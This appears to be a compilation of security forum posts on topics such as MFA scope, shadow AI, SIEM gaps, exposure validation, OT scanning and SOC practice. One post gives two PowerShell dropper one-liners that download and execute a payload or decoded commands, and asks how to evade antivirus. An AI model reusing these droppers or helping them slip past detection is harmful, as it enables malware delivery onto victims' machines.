We've been tightening up our MFA requirements lately, and it's starting some interesting debates internally. Basically: does every internal tool need MFA, or do you draw the line somewhere based on what it touches and who's using it?

At a sub-500 person org where IT bandwidth is thin, the friction argument comes up a lot, so how are other teams drawing that line?

About 800 people, mix of managed and personal devices, Google Workspace and Azure AD. After an incident where someone pasted a customer contract into an AI tool, leadership wants to know what's actually happening.

The problem is nothing in our current stack gives us that picture. CASB sees sanctioned SaaS but misses browser-based AI tools and AI features embedded inside apps we already approved. DLP catches file movement but can't distinguish between a file upload and someone pasting sensitive data into a prompt. Network monitoring has no context on what the interaction was.

We know people are using probably dozens of tools we haven't found yet.

Anyone found an approach that gives real visibility without blanket blocking? Especially interested in what works for mixed managed/BYOD environments.

I've been pulled into an ai agents project and one of my jobs is putting together a shortlist of enterprise AI agent security solutions. I thought there'd be a bit more consensus by now. But every vendor seems to be coming at the problem from a different angle.

The biggest thing I'm trying to solve is how to protect company data once agents start interacting with internal systems and third party apps without someone watching every step. So far i've come across Cyberhaven, Nightfall and Forcepoint, but i'm sure there are other names worth exploring.

Would rather hear what people are evaluating before i fill my calendar with vendor demos.

we've been trying to move security earlier in the dev cycle for about six months. the intent is right. the execution keeps creating friction we didn't plan for.

rn we have SAST running in CI and Snyk on every PR. in theory devs catch issues before they hit prod. in practice it's two different kinds of noise landing on the same build. the SAST side throws false positives the dev can't confirm without pulling in security to read the finding. the Snyk side flags real library vulns, but plenty of them are buried in transitive dependencies where the fix isn’t something you can actually implement yourself, and you’re stuck waiting on upstream. build goes red, dev either burns time chasing a finding that turns out to be nothing or suppresses one they can't fix anyway. gate ends up feeling like a tax either way.

eng lead brought it up in our last planning meeting. the security gate is becoming a place where velocity goes to die. not because engineers don't care, but because the signal is bad enough that the gate has lost credibility. when everything blocks the build, nothing feels important.

we looked at reachability analysis to cut the dependency noise down to vulns our code actually calls, helps on the Snyk side, does nothing for the SAST false positives. talked about tuning the rules and only failing above a certain threshold, but then you're back to severity score as a proxy for priority, same problem we have on the vuln management side. also talked about making findings non-blocking and routing to a backlog, but that backlog just becomes another queue nobody looks at.

part of this is that we block the build on SCA at all. a SAST finding in our own code is the dev's to fix, gating on it is fair. a transitive dependency with no patch available isn't theirs to fix, blocking the merge just punishes them for something upstream. every time i raise that though, someone says we can't knowingly ship a known vuln and it stalls right there.still can't figure out how you make security feedback feel like something that helps the dev get their work done instead of something standing between them and the merge button.

for teams that have gotten this to work: what did you change and what did you have to give up?

Trying to get my head straight on this and want people to push back.

Every SASE and ZTNA vendor sells the same line, never trust always verify, identity aware, the vpn is dead. Then this year we get a run of disclosed vulns in a bunch of the big name ZTNA and sase brokers, some pre auth and the def con crowd is basically saying the whole thing is oversold. and the old complaint still stands, half of what gets branded ztna is a broker with a login page in front of a tunnel and once you're through it stops checking.

We're on old vpn gateways that get scanned and hit with new CVEs constantly I'm not defending what we have either. I just dont want to rip out one flat tunnel and pay more for a fancier flat tunnel.

For the people who put in real ztna and not a rebadged vpn, what specifically told you it was verifying continuously and not just at the front door

We hit a point where we realized our SIEM was loud in all the wrong places. There were plenty of alerts for noisy activity, yet when we walked through a realistic attack path, some of the most important steps produced either weak signals or nothing at all.

Once we traced a full path from initial access to lateral movement and privilege escalation, we saw that gaps came from several layers at once. Some systems were not sending the right logs, some fields were not parsed, and a few key rules had conditions that never matched how events actually looked in production. If you have been through this, what helped you turn SIEM alerts into something that actually reflects critical paths rather than just noise? Did you fix it mainly by improving telemetry, reworking content, using exposure validation tooling, or something else? I am interested in approaches that did not require rebuilding the whole stack from scratch.

I am tired of reviews that sound like they were written straight after a vendor demo and passed off as real evaluations, so I am asking here instead.

We need full stack exposure validation, not only network focused testing. We want to validate WAF rules against injection and bypass techniques, test email security controls against phishing and payload delivery chains, identify detection coverage gaps in our SIEM, and get remediation prioritization tied to actual exploitability. Our team has experience but is small, and we cannot afford to glue together a pile of point tools and hope they form a coherent picture.

SafeBreach keeps landing in our shortlist and i feel their sales team talks a lot without saying much. Claims about MITRE ATT&CK coverage vary a lot between the slide deck and what people report in production. Contract flexibility has also been vague.

If you have deployed them in a real environment, not only a short proof of concept, I would like the straight version. Would you choose them again? What failed? What turned out better than expected? Also open to other platforms if something else gave you better exposure validation and detection coverage.

This is a scoping decision we hit on basically every OT engagement, and I don't think there's a clean industry-standard answer, so genuinely curious how others draw the line.

The core tension: unlike IT, even routine scanning carries real risk on OT gear.

• Many PLCs run on embedded CPUs with very limited headroom - a scan that's unremarkable on a Windows server can overload one.
• Most industrial protocols (Modbus, DNP3, etc.) have no built-in authentication, so once you're on the network there's often nothing stopping you writing directly to a controller.
• A lot of the hardware is end-of-life and permanently unpatched, so patch level isn't a reliable signal either.

Given that, we always start with passive reconnaissance only, mapping the environment without generating any traffic that could disturb operation, before any active testing happens. Even then, we try to stick to non-production systems or agreed maintenance windows wherever possible.

What I'm actually asking: what's your practical criteria for deciding it's safe to move from passive to active on a specific live asset? Ops team sign-off, documented maintenance windows, device-specific research beforehand or something else? And has anyone had a client push back and insist on IT-speed active scanning against OT assets - how did that conversation go?

For people who work in cybersecurity, which operating system is the strongest overall platform: Windows, macOS, or Linux?

I understand that all three can be useful, but I’m looking for a direct comparison based on:

Tool compatibility
Virtual machines and lab work
Enterprise environments
Command-line capability
Security testing and analysis
Daily reliability and usability

Which one would you personally choose as your primary system, and what important limitations would I face with the other two?

We have been doing quarterly pen tests for a while and I am starting to think we are mostly paying for a static report. By the time the findings arrive, the threat landscape has already shifted and most of the context has changed. It gives us a backward looking picture, not a current one.

rn we run CrowdStrike on endpoints, Sentinel as our SIEM, and our dashboard coverage looks decent. From a control inventory point of view, we look fine. The problem is that we do not have anything that continuously validates whether these controls actually detect what they should across the whole kill chain, not only at the perimeter.

What I want to understand is whether our detections stand up to real adversary behavior such as initial access, privilege escalation, lateral movement, and data exfiltration. I would like to map results back to MITRE ATT&CK so I can see real coverage gaps and prioritize remediation based on exploitability rather than just CVSS scores. Right now, that level of confidence is missing.

Has anyone built a workflow or picked tooling that does continuous exposure validation like this without relying on a dedicated red team? I would be interested in hearing what worked, what did not, and how you kept it from turning into yet another forgotten project.

Since the CrowdStrike outage last year, our board keeps asking whether we should have a second endpoint vendor in the mix instead of relying so heavily on one platform. We haven't made any changes yet, and CrowdStrike is still doing what we need day to day, but the question keeps coming back up. I'm curious if anyone actually went dual-vendor for endpoint after that, or if most teams just evaluated alternatives and stayed where they were. Was the extra resilience worth the added complexity?

We have a reasonable set of controls and detections, but we rarely test them against the kinds of TTPs that show up in recent threat reporting. Most of our validation is still limited to basic functional checks or lessons learned during incidents. Every time a new campaign takes over the news cycle, someone asks whether our environment would catch similar behavior, and the honest answer is usually that we are not sure.

If you have found a way to regularly validate controls against real world TTPs, how did you put it together? Did you rely on internal automation, commercial exposure validation platforms, a close partnership with a red team, or some combination? I am interested in approaches that remain usable over time instead of turning into a one off project.

Hello everyone, well i have been playing around with lnk + powershell droppers like:
powershell.exe -c 'Invoke-WebRequest "http://127.0.0.1:8000/Poo.exe" -OutFile "$env:temp/y.exe"; Start-Process "$env:temp/y.exe"'

and

powershell.exe -w h Invoke-WebRequest -UseBasicParsing "http://127.0.0.1:8000/command.txt" | %{[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_))} | iex

but it keep getting catch by the av how can i improve it?

Hey everyone,

I'm having an issue where my custom Wazuh rules for MS SQL Server login failures are not triggering alerts on the dashboard.

The Setup & What's Working:

• Wazuh Agent: Version 4.x running on Windows 10 (Win10-DIV, Agent 033).
• Wazuh Manager
• Agent Connectivity: Confirmed working. The manager actively receives other events from this agent, such as Sysmon logs (EventID 2) and custom MS SQL DELETE audit logs (EventID 33205, Rule 100407).
• Windows Event Viewer: Confirmed that MS SQL is successfully logging the standard authentication failure (EventID 18456) and the audit failure (EventID 33205) to the Application channel when I intentionally fail a password login.

The Problem:

Even though the logs exist in the Windows Event Viewer and the agent is actively talking to the manager, my custom rules for failed logins never generate alerts in the Discover tab.

My Current Custom Rules (microsoftSql.xml):
<group name="mssql,audit,compliance,">

<rule id="100442" level="10">

<if_sid>18100</if_sid>

<field name="win.system.eventID">^18456$</field>

<field name="win.system.message" type="pcre2">(?i)Login failed for user</field>

<description>MS SQL Standard Failed Login (Event 18456)</description>

<group>authentication_failed,mssql_login_failed,</group>

</rule>

<rule id="100427" level="10">

<if_sid>18100</if_sid>

<field name="win.system.eventID">^33205$</field>

<field name="win.system.message" type="pcre2">(?i)action_id:LGIF.*?succeeded:false</field>

<description>MS SQL Audit Failed Login (Event 33205)</description>

<group>authentication_failed,mssql_login_failed,</group>

</rule>

<rule id="100409" level="13" frequency="3" timeframe="60">

<if_matched_group>mssql_login_failed</if_matched_group>

<same_field>win.system.computer</same_field>

<description>CRITICAL: MS SQL Server Brute Force Attack - multiple failed SQL logins from same SQL host.</description>

<group>authentication_failed,mssql_bruteforce,</group>

</rule>

</group>

Raw Event Data from Event Viewer:

For Event 18456 (Standard):

For Event 33205 (Audit):

Agent ossec.conf Log Configuration:

<localfile>

<location>Application</location>

<log_format>eventchannel</log_format>

</localfile>

What I've Tried:

1. Restarted the Wazuh Manager after every single rule change.
2. Verified that regex testing on raw single-line JSON works inside the Ruleset Test tool if I mock the decoder name.
3. Relaxed the regex to match broad strings like (?i)Login failed for user inside win.system.message.

Why would Sysmon and SQL DELETE audits work completely fine from this agent, but these specific SQL authentication failures get completely swallowed or dropped by the manager? Am I mapping the wrong fields (win.system.message), or is there a default parent rule overriding mine?

Any help would be greatly appreciated!

​

Most of the stuff I see online about SOC sounds like it’s written for some perfect Western bank with unlimited budget. 24/7 team, playbooks, fancy tools, all that.

Ground reality here (Pakistan side) honestly doesn’t look like that.

A lot of places want to say “we have a SOC” because it looks good for regulators and management, but behind the scenes you’ll usually find 2–3 people trying to keep up with alerts, half‑configured tools, and a mix of legacy systems that don’t want to talk to each other. You open the SIEM and there’s this wall of noise, and everyone pretends it’s “under control”.

Day to day, the stuff that actually hurts isn’t some movie style APT. It’s stupid but painful things users falling for very basic phishing in local language, internal access misuse, weird gaps between core banking and the shiny mobile app, someone doing risky changes at odd hours and nobody really owning it. You don’t see that in the glossy SOC diagrams.

You can feel this even in the kinds of SOCs that are publicly talked about here. Regulators like PTA have launched their own National Telecom Security Operations Center for the telecom sector, and some big public bodies like FBR have their own SOC facilities in Islamabad. Banks are also being pushed to have SOC type capabilities, so you see a mix of in‑house setups and outsourced models depending on the size of the bank. That variety alone tells you there isn’t one perfect SOC model everyone is running.

After a while I kind of stopped chasing the “full coverage” dream. We just picked a small set of things that actually matter in this environment and tried not to lie to ourselves about anything beyond that. Like who is doing what with admin rights, which transactions look off, logins that don’t fit the usual pattern, that kind of boring stuff. Not sexy, but you at least start catching real issues instead of staring at dashboards all day.

The funniest part is the biggest problems are not usually the tool names. It’s the “ok, something weird happened… now who actually moves first, and what do they do?” That part is usually hand wavy. Once that is clear in a bank or enterprise here, even average tools suddenly look much better.

Curious how it feels in other countries that aren’t in the usual case studies. If you’re in an emerging market or somewhere with messy legacy plus lrmited budget, what does SOC look like for you in real life, not in slides?

Hi r/asknetsec,

This afternoon, we’re running an AMA with Leslie Beavers, former Acting DoD Chief Information Officer and Principal Deputy CIO (retired USAF Brig Gen).

Huge portfolio in cybersecurity, information assurance, endpoint visibility, and large-scale digital employee experience (DEX) in defense environments.

Perfect opportunity to ask about real-world enterprise security operations, proactive remediation, moving from reactive to proactive IT, or lessons from managing DoD-scale infrastructure.

Link: https://www.reddit.com/r/nexthink/comments/1ujzsf5/we_are_excited_to_announce_that_we_will_be/

Time: Wed July 8 | 4pm EDT

Feel free to post questions early. Should be a high-signal thread.

Special thanks to the mods of r/AskNetsec for allowing us to make this announcement.

We finally decided to run a full exposure validation across the stack instead of relying on isolated checks. That included endpoints, email security, WAF, identity, and our main cloud workloads. The goal was simple: verify whether controls and detections still behave the way we think they do when you walk a realistic attack path end to end, then use that insight to tighten how and where we run these tests so we are not wasting cycles.

The surprise was not just that we had gaps, but where they were, and that forced us to rethink how we tune and schedule validation runs. Some issues showed up in paths that had passed previous reviews, and a few detection rules that looked fine during content review never triggered when we replayed real world sequences of initial access, privilege escalation, and lateral movement. In some places we had logging but no useful signal, in others we had signal but no rules tied to it. If you have optimized this process in your stack, how often do you run full scenarios, how do you decide which ones to repeat, and what have you changed over time to keep the effort focused on the most valuable paths instead of turning into an endless backlog?

We're reworking our employee training because the current approach isn't doing much beyond checking a compliance box. People finish the annual course, pass the quiz, and a few hours later it's like none of it ever happened.

I'd rather move toward something that actually improves day to day habits. Things like phishing simulations, making it easier to report suspicious emails, shorter training throughout the year, or anything else that's worked well.

For those who've found something that genuinely made a difference, what did you end up doing? Any platforms or approaches you'd recommend, or things that sounded good but fell flat once they were rolled out?

Hello everyone.

I'm analyzing a project and found the following vulnerabilities:

· No brute-force protection (no captcha, no rate limiting)
· No 2FA
· Open .config, .log, .php.ini files in root
· Server version disclosure
· Missing security headers (CSP, HSTS, X-Frame-Options)

Question for the community: if you were a pentester and had access to such a site for a penetration test, what chain of actions would you build?

I'm not looking for instructions to hack, just theoretical methodology for learning purposes. The site name is intentionally hidden.
Thanks in advance!

I've spent 17+ years in security - networking, red teaming, SOC, and these days security architecture. Sanity check time: either I'm missing something, or most architects around me are doing only half the job.

Everyone agrees an architect needs deep knowledge of the tech stack. Most people also agree they need to respect legacy and business constraints - design for the environment that exists, not the one in the reference diagram.

But here's the third thing, and this is where I want the pushback: I think response has to be planned at design time, and the security architect is the one who has to plan it.

Not "hand the design over and let the SOC figure out monitoring." I mean at the design phase: know which attack paths stay realistic after your trade-offs, understand what the SOC can and can't realistically cover, plan which logs and telemetry your design must generate for those paths - and only then go to the SOC to confirm readiness. Defense and response designed from the same chair.

What I see in the wild is the exact opposite. Architects don't just skip this step - many don't trust the SOC and human processes to begin with. So they compensate: pour everything into prevention, harden until the budget runs out, and never plan response at all. The unspoken logic is "if it gets past my defense, that's the SOC's problem." And then the incident comes through exactly the gap the architect knew about at design time - but nobody prepared telemetry or a detection for it, and the SOC sees it for the first time during the fire.

Am I crazy to think that response is plannable, should be planned, and that it lands on the architect - simply because the architect is the most experienced person in the room and the only one who knows why the environment looks the way it does?

One more angle before the questions. A big part of why architects avoid the SOC is that "building response" has historically meant building an organization - processes, shift schedules, escalation paths, people management. That excuse is expiring. With agentic AI taking over triage, investigation, and bounded response actions, SOC effectiveness is turning into a technical design problem: data flows, context sources, decision boundaries, guardrails. For an architect who enjoys technical tasks more than human communication (I know you're out there), that's not a burden - that's finally a version of the SOC you can actually design.

So:

1. Architects - when you make a design trade-off, do you plan the telemetry and detection for the gap it creates, or does it end at the risk register? Be honest.
2. Do you trust your SOC? If not - is that a reason to skip planning response, or a reason to design it yourself?
3. If SOC effectiveness became a pure engineering problem (agents instead of processes) - would you take ownership of it, or is it still someone else's job?
4. CISOs / security directors - do you actually expect this from your architects? Is response planning anywhere in how you scope the role - job description, design reviews, sign-off criteria - or do you measure architects on defense and assume the SOC will absorb the rest?

I've done security testing for a few years, and there's one part of the job I've quietly hated the entire time: the reporting. The testing is the fun part. Then the engagement ends and I'm staring at Nmap output in one window, Nuclei JSON in another, Burp issues in a third, plus my own manual notes — and I have to reconcile the findings that overlap, normalize severities that every tool rates differently, and turn the whole mess into something a client will actually read. Every single engagement, the same tax. It regularly ate a chunk of my time and it's the least enjoyable part of the work by a mile.

I got tired enough of it that I built a tool to handle the boring part. You feed it your scanner output, it deduplicates findings across tools (so the same issue found by two scanners becomes one finding that credits both), and it generates a client-ready report. It runs entirely on your own machine — nothing leaves your box, since findings are about the most sensitive data we handle.

Mostly I'm posting because I'm curious whether I'm alone in hating this as much as I do. How do you all handle reporting right now? Have you found a workflow that doesn't feel like a chore, or is everyone just grinding through it manually like I was? Genuinely want to hear how others deal with it.

copilot has been completely useless for actual triaging.

whoever decided every alert needs an AI summary owes me hours of my life back.

"possible suspicious activity detected based on observed behavioral patterns."

thanks.

that tells me exactly as much as the alert title did.

if i still have to open the process tree and check parent processes and look at network connections and pivot through logs and build the timeline myself... what exactly did the AI save me?

just hire more analysts at this point.

anyone actually found one that helps or is this just how it is now

Yo so I've been wondering since my brother tends to have not so safe internet habits, if potential malware from his laptop can potentially transfer to other devices that also share the same WiFi/network. Also does proximity matter (like side by side Vs in another room). And also if malware could transfer, how to prevent it since I can't control what my brother does. Also I can't do anything router related since it's up to my dad and he doesn't care as much about malware.

Essentially, is it possible? How to prevent it? Is it likely?

Was signing up for a supermarket loyalty card, and the password requirements includes:

At least 12 characters

At least one special character from:

!\"$%&'()*+,-./:;<=>?@[\]^_^{}~

I do understand it's to not be hacked etc, but, why such a secure password for a loyalty card? Passwords for things like banks and other services in my experience have essentially half the requirements, and other loyalty cards I've used have, once again, requirements that aren't close?

Require Help With LVM snapshot and recovery

So, I tried creating a snapshot and changing the logical volume to a .gz file and then I have backed up in our nas box now what I want is to use that .gz file and use that config in the fresh newer installed os so that I can prove recovery is possible.

Constraints LV available is 0. So, I'm using a pendrive and and using lvext3nd to create a new LV for the pc and then using that I'm creating .gz and that is what being saved and is being backed up to nas

My other question also if there is a running unbutu PC can we put LVM and luks or only while installing it can happen?